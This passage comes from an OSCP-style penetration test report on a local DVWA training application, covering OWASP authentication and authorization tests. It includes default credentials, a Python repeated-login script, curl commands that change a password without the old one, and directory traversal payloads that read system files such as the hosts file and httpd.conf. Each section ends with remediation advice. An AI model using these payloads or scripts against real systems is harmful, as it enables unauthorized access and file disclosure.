- **Authentication Endpoint:** <http://localhost/dvwa/login.php>

#### Methodology

1. Analyzed responses from the login page for three scenarios:
  - Valid user + valid password
  - Valid user + wrong password
  - Invalid user + invalid password
2. Compared response characteristics including:
  - HTTP status codes
  - Response content lengths
  - Response times
  - Page titles
  - Error message content
3. Identified differences that revealed valid usernames
4. Confirmed account existence through consistent response patterns

## 4.22.3 Privilege Escalation

### Finding 1: Guessable Account with Administrative Privileges

- **Vulnerability:** Guessable Account Found
- **Username:** admin:password
- **Severity:** High
- **Evidence:** Successful login with common credentials "admin:password" provided immediate administrative access to the application. The credentials are among the most commonly used default credentials in vulnerable applications.
- **Method:** Testing common username/password combinations revealed that the application uses highly guessable default credentials.

### Security Strength: Consistent Error Messages

- **Positive Finding:** Good Error Message Consistency
- **Endpoint:** http://localhost/dvwa/login.php
- **Severity:** N/A (Positive Security Control)
- **Evidence:** The application displays identical "Login failed" messages regardless of whether the username exists or the password is incorrect. No differences were observed in response status codes, content length, response time, or error message content between valid username/invalid password and invalid username/invalid password attempts.
- **Method:** Multiple authentication attempts with valid and invalid usernames revealed consistent responses that do not leak information about username existence.

### Exploitation Steps

1. Identified that the application might use default credentials based on its nature as a vulnerable training platform
2. Tested common username/password combinations including:
  - admin:admin
  - admin:password
  - admin:admin123
  - administrator:password
3. Successfully authenticated with the credentials "admin:password"
4. Verified administrative privileges by accessing restricted functionality
5. Confirmed complete control over the application through administrative interfaces

Despite the strong account enumeration protection, the use of guessable default credentials allowed immediate access. The application's consistent error messages prevented account enumeration but could not protect against brute force attacks on common credentials.

### Privilege Level Analysis

The "admin" account provides:

- Full access to all vulnerability modules
- Ability to change security settings
- Access to user management functionality
- Ability to view and modify application configuration

- Complete control over the DVWA application

```
[*] Starting OTG-IDENT-004 Account Enumeration Test
[*] Target: http://localhost/dvwa
[!] WARNING: This script is for educational and authorized testing only
[+] DVWA is accessible
[*] Performing core OWASP account enumeration tests...
[*] Testing valid user with valid password...
[*] Testing valid user with wrong password...
[*] Testing invalid user with invalid password...
[*] Analyzing response differences...
[*] Testing URI probing...
[*] Testing recovery facility...
[*] Testing empty password authentication...
[*] Testing sequential username patterns...
[*] Generating HTML report...
```

## Recommendations

### 1. Immediately Change Default Credentials

- Change the admin password to a strong, complex password
- Eliminate the use of any default credentials
- Implement a password policy that prevents weak passwords

### 2. Implement Account Lockout Mechanisms

- After a predefined number of failed attempts, lock accounts
- Consider implementing progressive delays for repeated failed attempts

### 3. Enforce Strong Password Policies

- Require minimum password length (12+ characters)
- Require complexity (uppercase, lowercase, numbers, special characters)
- Prevent the use of common passwords and dictionary words
- Implement password blacklists

### 4. Implement Multi-Factor Authentication

- Add a second factor of authentication for administrative accounts
- Use TOTP, SMS verification, or authenticator apps

### 5. Monitor and Log Authentication Attempts

- Log all authentication attempts with sufficient detail for analysis
- Implement alerts for failed login attempts
- Regularly review logs for potential brute force attacks

### 6. Conduct Regular Security Reviews

- Periodically review user accounts and privileges
- Test for weak credentials during security assessments
- Implement automated testing for default credential vulnerabilities



#### **4.22.4 Post-Exploitation**

No post-exploitation as it is outside the scope of this test.

## 4.23 Weak or Unenforced Username Policy (OTG-IDENT-005) (http://localhost/dvwa/login.php (127.0.0.1))

Score:	7.3 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:L

### 4.23.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

### 4.23.2 Initial Access

#### Findings

Initial access was achieved through the use of default credentials for a regular user account.

#### Evidence

- **Username:** gordonb
- **Password:** abc123
- **Login URL:** http://localhost/dvwa/login.php
- **Authentication Method:** Standard web form authentication
- **Session Management:** Cookie-based session tokens

#### Methodology

1. Accessed the DVWA login page
2. Entered the default regular user credentials (gordonb/abc123)
3. Successfully authenticated and gained access to the application
4. Verified session persistence through subsequent requests

The application accepted these default credentials, providing access to the application with regular user privileges. This is a known characteristic of DVWA for educational purposes.

## 4.23.3 Privilege Escalation

### Finding 1: Weak Username Structure

- **Vulnerability:** Weak Username Structure
- **Username:** Multiple (admin, gordonb, pablo, smithy)
- **Severity:** Low
- **Evidence:** The application uses highly predictable username patterns including:
  - **Admin/Root Pattern:** Use of obvious administrative account names like "admin"
  - **Short Username Pattern:** Use of short usernames (e.g., "admin" at 5 characters)
  - **Simple Alphabetic Pattern:** Use of simple, easily guessable alphabetic usernames without complexity
- **Method:** Analysis of existing usernames revealed simple, predictable patterns without complexity requirements or policy enforcement.

### Security Strength: Consistent Error Messages

- **Positive Finding:** Good Error Message Consistency
- **Endpoint:** <http://localhost/dvwa/login.php>
- **Severity:** N/A (Positive Security Control)
- **Evidence:** The application displays identical "Login failed" messages regardless of whether the username exists or the password is incorrect. No differences were observed in response status codes, content length, response time, or error message content between valid username/invalid password and invalid username/invalid password attempts.
- **Method:** Multiple authentication attempts with valid and invalid usernames revealed consistent responses that do not leak information about username existence.

### Exploitation Steps

1. Analyzed the existing usernames in the application (admin, gordonb, pablo, smithy)
2. Identified multiple weak patterns in the username structure
3. Tested authentication with these predictable usernames combined with common passwords
4. Verified that the application does not enforce any username complexity requirements
5. Confirmed that while the usernames are predictable, the application's consistent error messages prevent reliable account enumeration

The weak username structure makes it easier to guess valid account names, but the consistent error handling prevents confirmation of whether guessed usernames actually exist.

```

[*] Starting OTG-IDENT-005 Username Policy Test
[*] Target: http://localhost/dvwa
[!] WARNING: This script is for educational and authorized testing only
[+] DVWA is accessible
[*] Performing core OWASP username policy tests...
[*] Testing valid user with valid password...
[*] Testing valid user with wrong password...
[*] Testing invalid user with invalid password...
[*] Analyzing response differences...
[*] Testing predictable username patterns...
[*] Testing predictable username patterns...
[*] Analyzing username structure...
[*] Analyzing username structure...
[*] Testing error message consistency...
[*] Testing error message consistency...
[*] Generating HTML report...
HTML report generated: OTG-IDENT-005_Report.html

=====
TEST SUMMARY
=====
🚨 HIGH SEVERITY ISSUES:    0
🚨 MEDIUM SEVERITY ISSUES: 0
🚨 LOW SEVERITY ISSUES:    1
🔍 TOTAL FINDINGS:         1
=====
Report saved as: OTG-IDENT-005_Report.html

```

## Recommendations

### 1. Improve Username Policies

- Avoid using obvious administrative account names like "admin"
- Implement more complex username generation schemes
- Consider using email addresses or employee IDs as usernames
- Educate users about the importance of non-predictable usernames

### 2. Implement Account Lockout Mechanisms

- After a predefined number of failed attempts, lock accounts
- Consider implementing progressive delays for repeated failed attempts

### 3. Enforce Strong Password Policies

- Require minimum password length (12+ characters)
- Require complexity (uppercase, lowercase, numbers, special characters)

- Prevent the use of common passwords and dictionary words
- Implement password blacklists

#### **4. Monitor and Log Authentication Attempts**

- Log all authentication attempts with sufficient detail for analysis
- Implement alerts for failed login attempts
- Regularly review logs for potential brute force attacks

#### **5. Conduct Regular Security Reviews**

- Periodically review username policies and patterns
- Test for account enumeration vulnerabilities during security assessments
- Implement automated testing for information disclosure in authentication flows

### **4.23.4 Post-Exploitation**

No post-exploitation as it is outside the scope of this test.

## 4.24 Credentials Transported Over an Encrypted Channel (OTG-AUTHN-001) (http://localhost/dvwa (127.0.0.1))

Score:	7.5 (High)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

### 4.24.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php

#### Key Observations

- The web server is accessible over HTTP without encryption.
- SSL/TLS is supported (HTTPS on port 443), but not enforced.
- Login form submits credentials via POST to login.php without redirecting to HTTPS.
- No HSTS header is present to enforce secure connections.

✓ **Finding:** The application is served over HTTP with no automatic redirection to HTTPS.

### 4.24.2 Initial Access

#### Vulnerability Details

- **OWASP Test Case:** OTG-AUTHN-001 – Credentials Transported over an Encrypted Channel
- **Vulnerability:** Authentication credentials (username and password) are transmitted in plaintext over HTTP.
- **Evidence:**

Credentials are sent via an unencrypted channel. Network traffic analysis would reveal:

```
POST /dvwa/login.php HTTP/1.1
Host: localhost
Content-Type: application/x-www-form-urlencoded

username=admin&password=password&Login=Login
```

```
=====
OTG-AUTHN-001 - Credentials Over Encrypted Channel
OSCP-Style Security Assessment
=====

[+] Testing connectivity to target...
[+] Checking if login is performed over HTTPS...
[!] Vulnerability: FOUND
[+] Report generated: OTG-AUTHN-001_Report.html
[+] Test completed. Report saved.
```

## Recommendations

1. Enforce HTTPS for All Pages
2. Implement HSTS (HTTP Strict Transport Security)
3. Use Secure and HttpOnly Cookies
4. Deploy a Valid SSL Certificate
5. Deploy a Valid SSL Certificate
6. Conduct Regular Security Testing

### 4.24.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.24.4 Post-Exploitation

No post-exploitation as it is outside the scope of this test.

## 4.25 Default Credentials (OTG-AUTHN-002) (http://localhost/dvwa/login.php (127.0.0.1))

Score:	9.8 (Critical)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H

### 4.25.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php


### 4.25.2 Initial Access

#### Vulnerability Details

- **OWASP Test Case:** OTG-AUTHN-002 – Testing for Default Credentials
- **Vulnerability:** Default administrative credentials are active and allow full access.
- **Valid Credentials:** admin:password
- **Evidence:**  
Successful login using default credentials grants access to all DVWA modules, including SQL Injection, XSS, CSRF, and command execution.

#### Key Observations

- The application exposes a web-based login interface.
- No account lockout mechanism was observed during testing.
- The login form does not enforce strong password policies.
- The application is configured with default credentials that have not been changed post-installation.

 **Finding Confirmed:** Default credentials were found to be active on the system.

 **Success:** admin:password provided full administrative access.

#### Proof of Concept (PoC)

The following cURL command demonstrates successful authentication:

```
bash
curl -X POST "http://localhost/dvwa/login.php" \
-H "Content-Type: application/x-www-form-urlencoded" \
```



```
-d "username=admin" \  
-d "password=password" \  
-d "Login=Login"
```

```
=====
OTG-AUTHN-002 - Testing for Default Credentials
OSCP-Style Security Assessment
=====

[+] Starting OTG-AUTHN-002 test...
[✓] Testing connectivity to target...
[✓] Connected to http://localhost/dvwa/login.php
[→] Trying: admin:password
[!] SUCCESS: Valid credentials found: admin:password
[+] Report generated: OTG-AUTHN-002_Report.html
[+] Test completed.
```

## Recommendations

1. **Change Default Passwords Immediately**
2. **Disable or Rename Unused Default Accounts**
3. **Implement Account Lockout Policies**
4. **Enforce Strong Password Policies**
5. **Audit and Remove Unused Accounts Regularly**
6. **Educate Admins on Credential Security**

### 4.25.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.25.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.26 Weak Lock Out Mechanism (OTG-AUTHN-003) (<http://localhost/dvwa/login.php> (127.0.0.1))

Score:	5.3 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

### 4.26.1 Service Enumeration

#### Target Overview

- **IP Address:** <http://localhost/dvwa> (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** <http://localhost/dvwa/login.php>

### 4.26.2 Initial Access

#### Vulnerability Details

- **OWASP Test Case:** OTG-AUTHN-003 – Testing for Weak Lock Out Mechanism
- **Vulnerability:** No account lockout mechanism after repeated failed login attempts.
- **Evidence:**
  - The system accepted 30 failed login attempts in rapid succession without:
    - Locking the account
    - Introducing delays
    - Blocking the source IP
    - Presenting CAPTCHA

#### Key Observations

- The login page includes a CSRF token, but no rate limiting or lockout controls.
- No response variation (e.g., delays, error messages) after multiple failed attempts.
- All 30 login attempts received identical HTTP 200 responses with no blocking.



**Finding Confirmed:** No effective account lockout mechanism detected.



**Impact:** This makes the application vulnerable to brute-force and dictionary attacks.

#### Proof of Concept (PoC)

The following Python script demonstrates the absence of lockout controls:

```
python
#!/usr/bin/env python3
```

```

import requests
from bs4 import BeautifulSoup

session = requests.Session()
target = "http://localhost/dvwa/login.php"

# Perform 30 failed login attempts
for i in range(1, 31):
    # Get CSRF token
    resp = session.get(target)
    soup = BeautifulSoup(resp.text, 'html.parser')
    token = soup.find('input', {'name': 'user_token'})['value']

    # Attempt login with wrong password
    data = {
        'username': 'admin',
        'password': 'wrongpass',
        'Login': 'Login',
        'user_token': token
    }
    login_resp = session.post("http://localhost/dvwa/login.php", data=data)

    print(f"Attempt {i}: Login failed - Status: {login_resp.status_code}")

print("All 30 attempts completed without account lockout.")

```

```

=====
OTG-AUTHN-003 - Testing for Weak Lock Out Mechanism
OSCP-Style Security Assessment
=====

[+] Starting OTG-AUTHN-003 test...
[✓] Testing connectivity to target...
[✓] Connected to http://localhost/dvwa/login.php
[→] Performing up to 30 failed login attempts...
[→] Attempt 1/30: Failed login (admin:wrongpass)
[→] Attempt 2/30: Failed login (admin:wrongpass)
[→] Attempt 3/30: Failed login (admin:wrongpass)
[→] Attempt 4/30: Failed login (admin:wrongpass)
[→] Attempt 5/30: Failed login (admin:wrongpass)

```

## Recommendations

1. **Enforce Account Lockout After Multiple Failed Attempts**
2. **Implement Incremental Delays Between Login Attempts**
3. **Apply IP-Based Rate Limiting**
4. **Use CAPTCHA After Repeated Failures**
5. **Log All Failed Login Attempts**
6. **Alert Administrators to Suspicious Activity**

## **7. Provide Secure Account Recovery Mechanisms**

### **4.26.3 Privilege Escalation**

No privilege escalation as it is outside the scope of this test.

### **4.26.4 Post-Exploitation**

No post exploitation as it is outside the scope of this test.

## 4.27 Bypassing Authentication Schema (OTG-AUTHN-004) (http://localhost/dvwa (127.0.0.1))

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.27.1 Service Enumeration

#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Authentication Mechanism:** Session-based (PHPSESSID)
- **Protected Endpoints:**
  - /index.php
  - /vulnerabilities/brute/
  - /vulnerabilities/sqli/
  - /security.php
  - /phpinfo.php

### 4.27.2 Initial Access

#### Vulnerability Details

- **OWASP Test Case:** OTG-AUTHN-004 – Testing for Bypassing Authentication Schema
- **Vulnerability:** None found
- **Test Scope:**

Multiple bypass techniques were tested:

  - Direct access to authenticated pages
  - URL parameter tampering
  - Cookie forgery
  - HTTP method abuse (HEAD, OPTIONS, POST)

#### Key Observations

- All protected pages redirect unauthenticated users to login.php with HTTP 302.
- No sensitive data is exposed via alternative methods.
- The application does not rely on client-side parameters (e.g., ?admin=1) for access control.
- Cookie and parameter manipulation attempts did not grant unauthorized access.

✓ **Finding Confirmed:** No authentication bypass vulnerabilities were detected.  
◆ **Result:** All tests showed proper authentication enforcement.

## Proof of Concept (PoC)

The following commands were used to test for authentication bypass. All resulted in redirection to the login page:

### 1. Direct Access to Protected Pages

```
bash
curl -v http://localhost/dvwa/index.php
# Response: HTTP/1.1 302 Found
# Location: login.php
```

```
=====
OTG-AUTHN-004 - Bypassing Authentication Schema
OSCP-Style Security Assessment
=====

[+] Starting OTG-AUTHN-004 test...
[✓] Testing connectivity to target...
[✓] Connected to http://localhost/dvwa/login.php
[→] Testing direct access to protected pages...
[→] Testing: /index.php
[→] Testing: /vulnerabilities/brute/
[→] Testing: /vulnerabilities/sqli/
[→] Testing: /security.php
[→] Testing: /phpinfo.php
[→] Testing parameter tampering...
[→] Testing cookie manipulation...
[→] Testing HTTP method tampering...
[+] Report generated: OTG-AUTHN-004_Report.html
[+] Test completed.
```

### 4.27.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.

### 4.27.4 Post-Exploitation

No post exploitation as it is outside the scope of this test.

## 4.28 Remember Password Functionality (OTG-AUTHN-005) (There is no remember password functionality in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.28.1 Service Enumeration

There is no remember password functionality in DVWA.

### 4.28.2 Initial Access

There is no remember password functionality in DVWA.

### 4.28.3 Privilege Escalation

There is no remember password functionality in DVWA.

### 4.28.4 Post-Exploitation

There is no remember password functionality in DVWA.

## 4.29 Browser Cache Weakness (OTG-AUTHN-006) (http://localhost/dvwa/login.php (127.0.0.1))

Score:	6.5 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N

### 4.29.1 Service Enumeration


#### Target Overview

- **IP Address:** http://localhost/dvwa (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Login Page:** http://localhost/dvwa/login.php




### 4.29.2 Initial Access

#### Vulnerability Details

- **OWASP Test Case:** OTG-AUTHN-006 – Testing for Browser Cache Weakness
- **Vulnerability:** Insecure cache control headers on sensitive authenticated pages.
- **Affected Pages:** All authenticated and sensitive endpoints.
- **Impact:** Sensitive content may be stored in browser cache, disk, or proxy servers, leading to information disclosure on shared computers.

 **Finding Confirmed:** Multiple cache control weaknesses detected across all tested pages.

#### Key Observations

- All tested pages return:
  - Cache-Control: no-cache, must-revalidate
  - Pragma: no-cache
  - Expires: Tue, 23 Jun 2009 12:00:00 GMT (or similar outdated date)
- Missing critical directives:
  -  no-store – required to prevent caching of sensitive content
  -  private – ensures content isn't stored in shared caches
  -  Expires: 0 – best practice for dynamic content

#### Proof of Concept (PoC)

The following commands demonstrate the insecure cache headers:



```
bash
# Test cache headers for login page
curl -v "http://localhost/dvwa/login.php" | grep -i -E 'cache-control|pragma|expires'

# Test cache headers for authenticated dashboard
curl -v "http://localhost/dvwa/index.php" | grep -i -E 'cache-control|pragma|expires'

# Test cache headers for brute-force module
curl -v "http://localhost/dvwa/vulnerabilities/brute/" | grep -i -E 'cache-control|pragma|expires'

# Test cache headers for SQLi module
curl -v "http://localhost/dvwa/vulnerabilities/sqli/" | grep -i -E 'cache-control|pragma|expires'

# Test cache headers for security settings
curl -v "http://localhost/dvwa/security.php" | grep -i -E 'cache-control|pragma|expires'

# Test cache headers for phpinfo (highly sensitive)
curl -v "http://localhost/dvwa/phpinfo.php" | grep -i -E 'cache-control|pragma|expires'
```

```
=====
OTG-AUTHN-006 - Testing for Browser Cache Weakness
OSCP-Style Security Assessment
=====

[+] Starting OTG-AUTHN-006 test...
[✓] Testing connectivity to target...
[✓] Connected to http://localhost/dvwa/login.php
[→] Testing cache headers on unauthenticated pages...
[→] Tested: /login.php
[→] Tested: /index.php
[→] Tested: /vulnerabilities/brute/
[→] Tested: /vulnerabilities/sqli/
[→] Tested: /security.php
[→] Tested: /phpinfo.php
[→] Testing cache headers on authenticated pages...
[→] Tested authenticated: /index.php
[→] Tested authenticated: /vulnerabilities/brute/
[→] Tested authenticated: /vulnerabilities/sqli/
```

## Recommendations

1. Set Proper Cache-Control Headers on Sensitive Pages
2. Prevent Caching of Authenticated or Sensitive Content
3. Use Strict Header Configurations for Sensitive Data
4. Apply Versioned Caching for Public Static Content

- 5. **Implement Cache Controls Within Your Framework**
- 6. **Audit Cache Headers During Security Testing**
- 7. **Test Cache Behavior Over HTTP and HTTPS**

### **4.29.3 Privilege Escalation**

No privilege escalation as it is outside the scope of this test.

### **4.29.4 Post-Exploitation**

No post exploitation as it is outside the scope of this test.

## 4.30 Weak Password Policy (OTG-AUTHN-007) (<http://localhost/dvwa/vulnerabilities/csrf/> (127.0.0.1))

Score:	5.3 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

### 4.30.1 Service Enumeration

#### Target Overview

- **IP Address:** <http://localhost/dvwa> (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Authentication Mechanism:** Session-based (PHPSESSID)
- **Password Change Endpoint:** <http://localhost/dvwa/vulnerabilities/csrf/>
- **Default Credentials:** admin:password


### 4.30.2 Initial Access

#### Vulnerability Details

- **OWASP Test Case:** OTG-AUTHN-007 – Testing for Weak Password Policy
- **Vulnerability:** No enforcement of password length, complexity, or deny lists.
- **Evidence:**  
Multiple weak passwords were successfully accepted:
  - 1-character passwords (a)
  - Short numeric passwords (123, 123456)
  - Common passwords (password, admin, letmein)
  - No uppercase, number, or special character required

#### Key Observations

- The password change form uses **GET method** with parameters in the URL.
- No validation is performed on password length, complexity, or commonality.
- The application accepts extremely weak passwords (e.g., a, 123, pass).
- No feedback is provided to users about password strength.
- Password change is immediate and does not require the old password.

 **Finding Confirmed:** Weak password policy enforcement allows trivial passwords to be set.

## Proof of Concept (PoC)

The following cURL commands demonstrate successful password changes using extremely weak passwords:

```
bash
# Set password to single character 'a'
curl "http://localhost/dvwa/vulnerabilities/csrf/?password_new=a&password_conf=a&Change=Change"

# Set password to '123'
curl "http://localhost/dvwa/vulnerabilities/csrf/?password_new=123&password_conf=123&Change=Change"

# Set password to 'pass'
curl "http://localhost/dvwa/vulnerabilities/csrf/?password_new=pass&password_conf=pass&Change=Change"

# Set password to common weak password 'admin'
curl "http://localhost/dvwa/vulnerabilities/csrf/?password_new=admin&password_conf=admin&Change=Change"
```

```
=====
OTG-AUTHN-007 - Testing for Weak Password Policy
OSCP-Style Security Assessment
=====

[+] Starting OTG-AUTHN-007 test...
[✓] Testing connectivity to target...
[✓] Connected to http://localhost/dvwa/login.php
[→] Testing actual password policy enforcement...
[✓] Logging in...
[→] Testing password: 'a' (1 character)
[!] ACCEPTED - Weak password allowed
[→] Testing password: '123' (3 characters)
[!] ACCEPTED - Weak password allowed
[→] Testing password: 'pass' (4 characters)
[!] ACCEPTED - Weak password allowed
[→] Testing password: '12345' (5 characters)
[!] ACCEPTED - Weak password allowed
```

## Recommendations

1. Enforce Minimum Password Length Requirements
2. Require a Mix of Character Types in Passwords
3. Block Commonly Used and Weak Passwords
4. Implement Password History to Prevent Reuse

- 5. **Provide Real-Time Password Strength Feedback**
- 6. **Limit Password Change Attempts to Prevent Abuse**
- 7. **Align Password Policies with NIST Guidelines**

### **4.30.3 Privilege Escalation**

No privilege escalation as it is outside the scope of this test.

### **4.30.4 Post-Exploitation**

No post exploitation as it is outside the scope of this test.

## 4.31 Weak Security Question/Answer (OTG-AUTHN-008) (There is no security question functionality in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.31.1 Service Enumeration

There is no security question functionality in DVWA.

### 4.31.2 Initial Access

There is no security question functionality in DVWA.

### 4.31.3 Privilege Escalation

There is no security question functionality in DVWA.

### 4.31.4 Post-Exploitation

There is no security question functionality in DVWA.

## 4.32 Weak Password Change or Reset Functionalities (OTG-AUTHN-009) (<http://localhost/dvwa/vulnerabilities/csrf/> (127.0.0.1))

Score:	6.5 (Medium)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N

### 4.32.1 Service Enumeration

#### Target Overview

- **IP Address:** <http://localhost/dvwa> (127.0.0.1)
- **Port:** 80 (HTTP)
- **Service:** Apache (via XAMPP)
- **Application:** DVWA (Damn Vulnerable Web App) v1.10
- **Authentication Mechanism:** Session-based (PHPSESSID)
- **Password Change Endpoint:** <http://localhost/dvwa/vulnerabilities/csrf/>
- **Form Method:** GET
- **CSRF Token:** Present but not validated server-side (`user_token`)


### 4.32.2 Initial Access

#### Vulnerability Details

- **OWASP Test Case:** OTG-AUTHN-009 – Testing for Weak Password Change or Reset Functionalities
- **Vulnerabilities Identified:**
  1. No old password verification
  2. CSRF vulnerability in password change
  3. No session ID regeneration after password change
  4. Use of GET method for state-changing operation

#### Key Observations

- The password change form uses **GET method**, exposing credentials in URLs and browser history.
- No validation of the **old password** is performed.
- The `user_token` CSRF token is present in the form but **not validated server-side**.
- Successful password change returns: `Password Changed.`
- No session ID regeneration after password change.

 **Finding Confirmed:** Password change functionality is vulnerable to unauthorized modification and CSRF attacks.

## Proof of Concept (PoC)

### 1. Change Password Without Old Password

```
bash
curl "http://localhost/dvwa/vulnerabilities/csrf/?
password_new=hacked&password_conf=hacked&Change=Change"
```

```
=====
OTG-AUTHN-009 - Weak Password Change/Reset Functions
OSCP-Style Security Assessment
=====

[+] Starting OTG-AUTHN-009 test...
[✓] Testing connectivity to target...
[✓] Connected to http://localhost/dvwa/login.php
[✓] Logging in...
[✓] Logged in successfully
[→] Testing password change without old password...
    [!] VULNERABLE - Password changed without old password
[→] Testing CSRF vulnerability...
    [!] VULNERABLE - CSRF protection missing
[→] Demonstrating CSRF attack mechanism...
[→] Testing session behavior during password change...
    [!] WARNING - Session not regenerated
[→] Checking for password reset functionality...
    [!] NOT IMPLEMENTED - DVWA does not have password reset
[+] Report generated: OTG-AUTHN-009_Report.html
[+] Test completed.
```

## Recommendations

1. **Require Old Password for All Password Changes**
2. **Implement Strong CSRF Protection Mechanisms**
3. **Regenerate Session IDs After Password Changes**
4. **Enforce Proper Access Controls on Password Change**
5. **Add Rate Limiting to Password Change Endpoints**
6. **Enable Logging and Monitoring of Password Changes**
7. **Use Multi-Factor Authentication for Sensitive Actions**

### 4.32.3 Privilege Escalation

No privilege escalation as it is outside the scope of this test.



#### **4.32.4 Post-Exploitation**

No post exploitation as it is outside the scope of this test.

## 4.33 Weaker Authentication in Alternative Channel (OTG-AUTHN-010) (There is no alternative channel functionality in DVWA)

Score:	0.0 (Info)
Vector:	CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:N

### 4.33.1 Service Enumeration

There is no alternative channel functionality in DVWA.

### 4.33.2 Initial Access

There is no alternative channel functionality in DVWA.

### 4.33.3 Privilege Escalation

There is no alternative channel functionality in DVWA.

### 4.33.4 Post-Exploitation

There is no alternative channel functionality in DVWA.

## 4.34 Directory Traversal/File Include (OTG-AUTHZ-001) (http://localhost/dvwa/vulnerabilities/fi/ (127.0.0.1))

Score:	9.6 (Critical)
Vector:	CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:N

### 4.34.1 Service Enumeration

**Target:** http://localhost/dvwa

Service	Port	Version	Notes
HTTP	80	Apache/2.4.x	Running DVWA (Damn Vulnerable Web App)
PHP	N/A	PHP/5.6.x	Backend language for DVWA

### Application Details

- **Application:** DVWA (Damn Vulnerable Web Application)
- **Security Level:** Low (default)
- **Login Credentials:** admin:password (default)
- **Vulnerable Module:** /vulnerabilities/fi/ (File Inclusion)

```
[*] Starting DVWA Local File Inclusion Test
[*] Target: http://localhost/dvwa
[+] Successfully logged in to DVWA
[+] Security level set to low
[+] Accessing File Inclusion page
```

### 4.34.2 Initial Access

The File Inclusion module in DVWA fails to properly validate user input in the `page` parameter, allowing directory traversal attacks using sequences like `../../../../..`.

### Exploitation Steps:

1. **Authentication:** Logged into DVWA using default credentials (admin:password)
2. **Security Level:** Set to "Low" to enable exploitation
3. **Navigation:** Accessed the File Inclusion page at /vulnerabilities/fi/
4. **Payload Injection:** Injected directory traversal payloads into the `page` parameter
5. **Exploitation:** Successfully retrieved contents of sensitive system files

## Successful Payloads:

### Payload 1 - Accessing hosts file:

```
http
GET /dvwa/vulnerabilities/fi/?page=../../../../../../../../../../../../Windows/System32/drivers/
etc/hosts HTTP/1.1
Host: localhost
Cookie: [Session Cookies]
```

#### Response Sample

```
# Copyright (c) 1993-2009 Microsoft Corp.
#
# This is a sample HOSTS file used by Microsoft TCP/IP for Windows.
#
# This file contains the mappings of IP addresses to host names. Each
# entry should be kept on an individual line. The IP address should
# be placed in the first column followed by the corresponding host name.
# The IP address and the host name should be separated by at least one
# space.
#
# Additionally, comments (such as these) may be inserted on individual
# lines or
```

### Payload 2

```
GET /dvwa/vulnerabilities/fi/?page=../../../../../../../../../../../../xampp/apache/conf/httpd.conf
HTTP/1.1
Host: localhost
Cookie: [Session Cookies]
```

#### Response Sample

```
#
# This is the main Apache HTTP server configuration file. It contains the
# configuration directives that give the server its instructions.
# See <URL:http://httpd.apache.org/docs/2.4/> for detailed information.
# In particular, see
# <URL:http://httpd.apache.org/docs/2.4/mod/directives.html>
# for a discussion of each configuration directive.
#
# Do NOT simply read the instructions in here without understanding
# what they do. They're here only as hints or reminders. If you are u
```

```
[+] Testing payload 1/5: ../../../../../../../../../../xampp/php/php.ini
[+] Testing payload 2/5: ../../../../../../../../../../Windows/System32/drivers/etc/hosts
[!] Vulnerability confirmed with payload: ../../../../../../Windows/System32/drivers/etc/hosts
[+] Testing payload 3/5: ../../../../../../../../../../xampp/apache/conf/httpd.conf
[!] Vulnerability confirmed with payload: ../../../../../../xampp/apache/conf/httpd.conf
[+] Testing payload 4/5: ../../../../../../../../../../etc/passwd
[+] Testing payload 5/5: ../../../../../../../../../../etc/hosts
[+] HTML report generated: OSCP_Report_DVWA_LFI_Localhost_20250805_162123.html

[*] Test Summary:
[*] Total payloads tested: 5
[*] Vulnerable payloads: 2
[*] Report saved to: OSCP_Report_DVWA_LFI_Localhost_20250805_162123.html
[!] CRITICAL: Directory Traversal vulnerability confirmed!
```

## Recommendations

1. Implement Strict Input Validation on File Inclusion Parameters
2. Restrict Accessible Files Using Whitelisting
3. Avoid Direct Use of User Input in File Operations
4. Regularly Review and Test File Inclusion Functionality
5. Adopt Secure Coding Practices and Frameworks

